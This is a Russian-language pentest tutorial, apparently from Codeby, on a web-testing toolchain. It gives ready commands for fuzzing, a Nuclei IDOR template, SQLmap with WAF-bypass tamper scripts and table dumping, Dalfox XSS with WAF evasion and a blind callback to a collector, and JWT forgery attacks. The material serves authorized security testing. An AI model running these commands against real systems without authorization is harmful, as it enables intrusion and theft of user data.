РАЗБОР
На проверке
Инструменты веб-пентеста 2026: рабочий стек
[ обложка статьи ]
Режим чтения
На последних пяти engagement'ах - SPA на Next.js, финтех-API c GraphQL-мутациями, два корпоративных портала на .NET и legacy-монолит на PHP - стек не менялся: Burp Suite, Katana, FFUF, Nuclei, SQLmap, Dalfox. Шесть тулз, связанных bash-пайплайном в одну цепочку от recon до верификации. Ни один DAST в автоматическом режиме не находил того, что давала эта связка: IDOR через подмену UUID в GraphQL-мутации, слепую SQL-инъекцию в параметре сортировки за WAF, reflected XSS в callback-URL OAuth-потока. Каждый инструмент закрывает конкретную фазу. Ценность - в цепочке, а не в отдельной тулзе.
Почему именно эти шесть инструментов веб-пентеста
Каждый год в подборках мелькают двадцать-тридцать инструментов для пентеста веб-приложений. На практике бóльшая часть дублирует друг друга, а на реальном engagement'е нужен стек пентестера, где каждый элемент делает одну вещь хорошо и передаёт результат следующему. Критерий отбора простой: инструмент остаётся в арсенале, если за последние 12 месяцев он участвовал в обнаружении хотя бы трёх подтверждённых находок на разных проектах. Не «может найти» - а нашёл. Подробнее - в нашем материале про пентест веб-приложений.| Инструмент | Роль в стеке | Фаза MITRE ATT&CK | Версия | Почему не заменяем |
|---|---|---|---|---|
| Katana | JS-aware краулинг, карта эндпоинтов | Active Scanning (T1595, Reconnaissance) | Текущий релиз ProjectDiscovery | Единственный краулер, корректно разбирающий React/Next.js роутинг |
| FFUF | Фаззинг директорий, параметров, vhost'ов | Wordlist Scanning (T1595.003, Reconnaissance) | Текущий релиз GitHub | Скорость + гибкость фильтров -ac, -fs, -fw |
| Nuclei | Шаблонное сканирование CVE и мисконфигов | Vulnerability Scanning (T1595.002, Reconnaissance) | 3.11.1 | 9000+ шаблонов + кастомные за 15 минут |
| Burp Suite Pro | Перехват, Repeater, Intruder, расширения | Exploit Public-Facing Application (T1190, Initial Access) | 2026.4.3+ | Расширения: JWT Editor, Autorize, Param Miner |
| SQLmap | Обнаружение и эксплуатация SQL-инъекций | Injection (A03:2021) | git HEAD (Python 2.7/3.x) | Tamper-скрипты для WAF bypass + все СУБД |
| Dalfox | Верификация XSS с контекстным анализом | Injection (A03:2021) | Текущий релиз GitHub | Контекстные payload'ы + headless-браузер + blind callback |
Что осталось за скобками и почему:
Nmap - сетевой инструмент (Network Service Discovery, T1046), а не веб-специфичный. На web-engagement'е порт-скан и fingerprinting обычно закрыты на этапе скоупинга. Если нужно - добавляю
nmap -sV точечно, но в ежедневный pipeline он не входит.ZAP - пересекается с Burp по функциям прокси. Как DAST в CI/CD - отличный выбор (по данным backdoor.tech, ZAP лучше Burp для автоматизации в пайплайнах), но для ручного пентеста уступает Burp Pro по расширениям и active scanner.
Caido - перспективный Rust-прокси с чистым UX и HTTPQL для фильтрации трафика. На части проектов использую параллельно с Burp. Но набор расширений пока не дотягивает до BApp Store, и по данным secra.es, зрелые команды держат оба инструмента, а не переключаются полностью.
Metasploit - exploitation framework для сетевых и инфраструктурных атак (более 2000 exploit-модулей по данным Rapid7). На web-engagement'ах практически не нужен.
Разделение принципиально: стек собран под web application penetration testing, а не под сетевой пентест или red team. Все шесть покрывают путь от разведки поверхности атаки до подтверждения уязвимости - и на bug bounty программах этот же набор закрывает полный цикл от recon до отправки отчёта.
Recon-фаза: Katana краулер и FFUF
Разведка поверхности атаки - фаза, которую половина пентестеров пропускает или ограничивает однимgobuster. На modern-стеке с SPA и API-first архитектурой это приговор: бóльшая часть эндпоинтов не видна без JS-рендеринга и целевого фаззинга веб-приложений.Katana - краулер для SPA
Katana от ProjectDiscovery - open-source краулер, который корректно обрабатывает SPA. Ключевой флаг --js-crawl: Katana поднимает headless-браузер, рендерит JavaScript, вытаскивает маршруты из React Router, lazy-loaded модулей и fetch-вызовов. По данным cyberfortify.co, именно Katana «extracts endpoints from SPA apps that traditional spiders miss entirely». На практике подтверждаю - классические краулеры на SPA слепы как кроты.Типичный запуск:
katana -u https://target.com -js-crawl -depth 3 -known-files all -o endpoints.txt. Флаг -known-files all автоматически проверяет robots.txt, sitemap.xml, .well-known - на трёх последних проектах это давало 15-30 дополнительных эндпоинтов, которых не было в UI.Результат - текстовый список URL с полными путями и параметрами, извлечёнными из JS-кода. Этот список напрямую уходит в FFUF и Nuclei.
Где Katana сливается: глубокие multi-step flows с CSRF-токенами и stateful-сессиями. Если приложение требует авторизацию - без кастомных заголовков Katana увидит только публичную часть. Workaround: передавать cookie или Bearer-токен через
-H "Authorization: Bearer <token>". Не идеально, но работает.FFUF Dalfox Katana - фаззинг после краулинга
FFUF закрывает то, что Katana не видит: скрытые директории без ссылок из UI, забытые API-эндпоинты, параметры за пределами документации. По MITRE ATT&CK это Wordlist Scanning (T1595.003) и File and Directory Discovery (T1083).Для directory fuzzing:
ffuf -u https://target.com/FUZZ -w /opt/seclists/Discovery/Web-Content/raft-large-words.txt -ac -mc 200,204,301,302,401,403 -o ffuf-dirs.json -of json. Флаг -ac (auto-calibration) - штука критически важная: FFUF сам определяет размер стандартного ответа и отсекает false positive. Без -ac на приложениях с custom 404-страницами получите тысячи мусорных результатов. Проверено, к сожалению, на собственном опыте.Для parameter fuzzing:
ffuf -u "https://target.com/api/v1/users?FUZZ=1" -w /opt/seclists/Discovery/Web-Content/api/objects.txt -fw 0 -mc 200. Флаг -fw 0 фильтрует ответы с нулевым количеством слов - пустые ответы, которые обычно означают «параметр не распознан».На engagement'ах за WAF - обязательно ограничивать скорость:
-rate 5 или -rate 10. На одном проекте с Cloudflare стандартные 40 req/s блокировались через 200 запросов; -rate 5 позволил прогнать весь словарь без бана. Для API-эндпоинтов полезны словари Assetnote - swagger-wordlist.txt покрывает типовые пути REST API.Nuclei сканер уязвимостей: шаблоны как оружие
Nuclei от ProjectDiscovery - шаблонный сканер, который за последние два года превратился из утилиты для проверки CVE в полноценный фреймворк автоматизации веб-пентеста. Mapping по MITRE ATT&CK - Vulnerability Scanning (T1595.002, Reconnaissance).Главное преимущество перед DAST типа ZAP или Burp Active Scanner: полный контроль над каждым запросом через YAML-шаблоны. Каждый шаблон - спецификация: какой HTTP-запрос отправить, какие заголовки подставить, какой ответ считать индикатором уязвимости. Никакой магии, чистая декларативность.
Стандартный прогон по результатам разведки:
nuclei -l endpoints.txt -severity critical,high -es info,low -stats -o nuclei-findings.json -jsonl. Флаг -es info,low отсекает информационные и низкоприоритетные шаблоны - на типичном target'е это убирает 80% шума.Кастомные шаблоны - главная сила Nuclei. Допустим, при ручном анализе в Burp обнаружили BOLA/IDOR (API1:2023 по OWASP API Security Top 10): приложение возвращает данные другого пользователя при подмене ID. Вместо ручной проверки каждого эндпоинта - пишем шаблон и прогоняем по всей поверхности:
YAML:
id: idor-user-profile
info:
name: IDOR - User Profile Access
severity: high
tags: idor,bola,auth
http:
- raw:
- |
GET /api/v2/users/{{user_id}}/profile HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token_low_priv}}
payloads:
user_id: ["1","2","1001","admin"]
matchers-condition: and
matchers:
- type: status
status: [200]
- type: word
words: ["email","phone"]
condition: or
nuclei -t idor-user-profile.yaml -V token_low_priv="eyJhbG..." -u https://target.com. Написание такого шаблона - 10-15 минут. Окупается на каждом следующем engagement'е с похожим стеком.Момент про безопасность самого Nuclei: в версии 3.8.0 закрыли уязвимость чтения локальных файлов через JavaScript-шаблоны и утечку переменных окружения при флаге
-ev. С версии 3.11.0 кастомные шаблоны с протоколом javascript: нужно подписывать командой nuclei -sign - иначе движок их молча пропустит. Официальные community-шаблоны уже подписаны. Актуальная версия - 3.11.1. Проверять безопасность приложения дырявым инструментом - так себе идея. Обновляйте и шаблоны, и движок.Burp Suite: центр ручного анализа
Burp Suite Pro - осевой инструмент стека. Не потому что «так принято», а потому что ни один автоматический сканер не заменяет ручную работу с логикой авторизации. По данным OWASP Top 10 2021, Broken Access Control (A01:2021) обнаружен у 94% протестированных приложений. Находится он руками, а не шаблонами.Repeater - основная рабочая область. Перехватил запрос в Proxy, отправил в Repeater, поменял
user_id с 1001 на 1002 - смотришь ответ. Broken Access Control вылезает именно так: через подмену идентификаторов, удаление заголовков авторизации, изменение HTTP-методов. Просто и грубо. Работает.Три расширения, без которых не начинаю engagement:
Autorize - автоматически прогоняет каждый запрос с токеном низкопривилегированного пользователя и без токена, помечая расхождения в правах. На проектах с 50+ эндпоинтами экономит день ручной проверки access control. День. Целый.
JWT Editor - редактирование claims прямо в Repeater: подмена
alg:none, атака RS256→HS256, JWK injection. На одном финтех-engagement'е JWT без валидации подписи дал полный доступ к admin-функционалу. Расширение позволило проверить это за минуту.Param Miner - обнаружение скрытых параметров и заголовков. Находит
X-Forwarded-Host, X-Original-URL и прочие заголовки, которые приложение обрабатывает, но не документирует. Security Misconfiguration (A05:2021) часто прячется именно здесь.Версия: начиная с 2026.4 у Community и Professional общий установщик. Ставить нужно не ниже 2026.4.3 - в ней закрыта уязвимость браузерного краулинга под Windows (по данным PortSwigger). Burp работает локально, Docker не нужен.
Про Burp Suite альтернативы в 2026 году: Caido на Rust обрабатывает тот же объём трафика без JVM-тормозов и предлагает HTTPQL для фильтрации (
req.method == "POST" AND req.body.cont("user_id")). На SPA-проектах, где каждое действие генерирует десятки API-запросов, держу Caido параллельно для быстрого поиска по истории. Но полный переход - пока рано: расширений уровня Autorize или JWT Editor у Caido нет.SQLmap и Dalfox: точечная эксплуатация
SQLmap инструкция для работы за WAF
SQLmap - инструмент для подтверждения и эксплуатации SQL-инъекций. Поддерживает MySQL, PostgreSQL, MSSQL, Oracle, SQLite, MariaDB - практически все СУБД, встречающиеся на engagement'ах. Но в 2026 году запускатьsqlmap -u "url" --dbs в лоб - гарантированный бан. WAF стоит на каждом production-приложении, и тупой брутфорс он давит за секунды.Рабочий подход: сначала обнаружить подозрительную точку в Burp (нетипичная задержка при подстановке
', разница в ответе при 1 AND 1=1 vs 1 AND 1=2), сохранить запрос в файл через «Copy to file» в Repeater, затем передать в sqlmap:sqlmap -r request.txt --tamper=between,randomcase,space2comment --delay=2 --random-agent --level=3 --risk=2 --technique=BT --dbms=PostgreSQLРазбор ключевых флагов:
--technique=BT - ограничивает boolean-blind и time-based техниками. Они генерируют меньше подозрительного трафика, чем UNION-based или error-based. WAF реже срабатывает на задержки, чем на синтаксические SQL-конструкции.--dbms=PostgreSQL - если СУБД уже определена через fingerprinting или ошибки, этот флаг сокращает количество запросов на порядок. SQLmap не будет перебирать payload'ы для MySQL, Oracle и SQLite. Очевидно - но регулярно вижу, как гоняют sqlmap без --dbms и удивляются бану.--tamper=between,randomcase,space2comment - цепочка tamper-скриптов для обхода WAF. between заменяет > на NOT BETWEEN 0 AND, randomcase рандомизирует регистр, space2comment заменяет пробелы на /**/.--delay=2 - пауза 2 секунды между запросами. Без этого флага на rate-limited target'ах sqlmap забанят после сотни запросов.Эксплуатация SQL-инъекций через sqlmap - это не «запустил и забыл». Ручная подготовка точки инъекции в Burp, передача контекста в sqlmap с точными параметрами, а после подтверждения - документирование PoC с минимальным доказательством импакта. Выгружать production-базу только ради подтверждения находки не нужно -
--dump -T users --start=1 --stop=3 хватит за глаза для демонстрации.Сканер XSS Dalfox: контекстные payload'ы и blind callback
Dalfox - специализированный инструмент для верификации XSS, который закрывает разрыв между «нашёл потенциальный reflected input» и «подтвердил эксплуатируемый XSS». Ни Nuclei, ни Burp Active Scanner не делают это с такой точностью: Dalfox анализирует контекст вставки (HTML-тег, атрибут, JavaScript-блок, URL) и генерирует payload'ы именно под этот контекст.Запуск:
dalfox url "https://target.com/search?q=test" --blind https://your.xss.collector --waf-evasion -o dalfox-findings.json.Три вещи, которые стоит знать:
--blind - отправляет payload'ы с callback на указанный сервер для обнаружения stored и blind XSS. На одном engagement'е blind XSS через callback нашёлся в поле «Имя пользователя» admin-панели - payload выполнился при просмотре списка юзеров администратором. Никакой reflected-сканер этого бы не увидел. Находка, которая оправдывает существование Dalfox в стеке.--waf-evasion - встроенные техники обхода WAF: encoding, case variation, alternative event handlers.Headless-браузер для DOM XSS - Dalfox рендерит страницу и проверяет, выполняется ли payload в реальном DOM. Это убирает false positive на modern-фреймворках с auto-escaping (React, Angular), которые Burp Active Scanner генерирует пачками.
Почему Dalfox, а не Burp для XSS: Burp находит reflected XSS, но без рендеринга страницы не может отличить reflected input (payload в HTML-ответе) от exploitable XSS (payload выполняется в браузере). На React-приложениях эта разница - десятки false positive. Время на разбор мусора тратить жалко.
Pipeline: связываем стек пентестера в одну цепочку
Главная ценность - не отдельные инструменты, а автоматизация переходов между ними. Ниже - bash-скрипт, который прогоняет цикл от краулинга до шаблонного сканирования за один запуск. Ручная фаза (Burp, SQLmap, Dalfox) начинается после, когда pipeline сформировал target list с первичными находками.После отработки pipeline - открываю
nuclei.json, фильтрую по severity, каждый finding проверяю руками в Burp Repeater. Confirmed - документирую PoC с точными шагами воспроизведения. False positive - отмечаю и иду дальше. Подозрительные параметры с потенциальной инъекцией - в SQLmap. Точки отражения пользовательского ввода - в Dalfox.На типичном engagement'е pipeline покрывает 60-70% поверхности атаки за 30-40 минут. Оставшиеся 30-40% - ручная работа в Burp: проверка access control через Autorize, тестирование JWT-токенов, бизнес-логика. Это реальное соотношение «автоматика vs ручная работа» на коммерческих engagement'ах и в bug bounty. Автоматика находит паттерны. Человек строит цепочку.
Когда инструменты сливаются: таблица ограничений
Ни один инструмент для пентеста веб-приложений не является серебряной пулей (кто бы что ни писал в README). Ниже - конкретные сценарии, где каждый из шести инструментов проигрывает. Знание слепых зон экономит часы на engagement'е.| Инструмент | Слепая зона | Workaround |
|---|---|---|
| Katana | Stateful flows с CSRF-токенами, multi-step wizards | Передавать session cookie через -H; для авторизованных зон - Burp Spider |
| FFUF | Custom 404 с динамическим контентом; без -ac - тысячи false positive | Всегда -ac; калибровать вручную через -fs и -fw |
| Nuclei | Business-logic (IDOR, race conditions) - стандартные шаблоны не покрывают | Кастомные шаблоны + ручная проверка в Repeater |
| Burp Suite | JVM-тормоза на SPA с большим объёмом трафика | Caido параллельно для фильтрации истории |
| SQLmap | WAF с жёстким rate limiting; NoSQL-инъекции (MongoDB) не поддержаны | --tamper + --delay; для NoSQL - ручные payload'ы |
| Dalfox | CSP со strict-dynamic: реальный XSS не эксплуатируем | Проверять CSP до запуска; CSP Evaluator |
Чего нет ни в одном из шести - и что с этим делать:
GraphQL-специфичное сканирование. Ни Nuclei, ни FFUF не анализируют GraphQL-схемы с глубиной вложенности и batching-атаками. Для GraphQL добавляю
curl с introspection-запросом и InQL расширение для Burp: curl -s -X POST -H "Content-Type: application/json" -d '{"query":"{__schema{types{name fields{name}}}}"}' https://target.com/graphql | python3 -m json.tool - это даёт карту типов и мутаций для ручного анализа.JWT-атаки за пределами стандартных. Для полного покрытия JWT-вектора (alg:none, RS256→HS256 confusion, key injection) - jwt_tool от ticarpi:
python3 jwt_tool.py <TOKEN> -M pb прогоняет весь playbook автоматически.WebSocket и SSE. Ни один из шести инструментов не фаззит WebSocket-соединения на уровне отдельных фреймов. Burp перехватывает WebSocket, но Intruder к ним не применим. На таких проектах приходится писать кастомные Python-скрипты. Больная тема, и готового решения пока нет.
Стек из шести тулз - не скрижали. Через год Caido, возможно, дорастёт до замены Burp Pro на части проектов. Кто-то выпустит краулер лучше Katana для GraphQL subscriptions. Но принцип не поменяется: ценность - в цепочке между инструментами, а не в их количестве. Один подтверждённый IDOR через pipeline «Katana → FFUF → Nuclei → Burp Repeater» стоит больше, чем 500 информационных findings от DAST в авторежиме.
Две тенденции, которые сдвинут этот стек к 2027 году. Первая - AI-ассистенты внутри инструментов: Burp AI Scanner и ZAP Copilot уже ускоряют triage и генерацию payload'ов, но на практике это 20-30% ускорения рутины, а не замена аналитика. Вторая - API-first архитектуры вытесняют классический web, и инструменты вроде Dalfox будут терять долю в пользу специализированных API-фаззеров с gRPC и WebSocket. Но одно не изменится: автоматика находит паттерны, цепочку строит человек. Кто не умеет руками собрать атаку от recon до confirmed finding - тому не поможет ни один AI-агент. Если интересно посмотреть как цепочка работает на живом стенде - web-задачи на HackerLab дают именно эту практику чейнинга от разведки до эксплуатации.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Продолжить чтение
Следующий разбор
HTTP Request Smuggling эксплуатация: методология 2026
Комментарии
0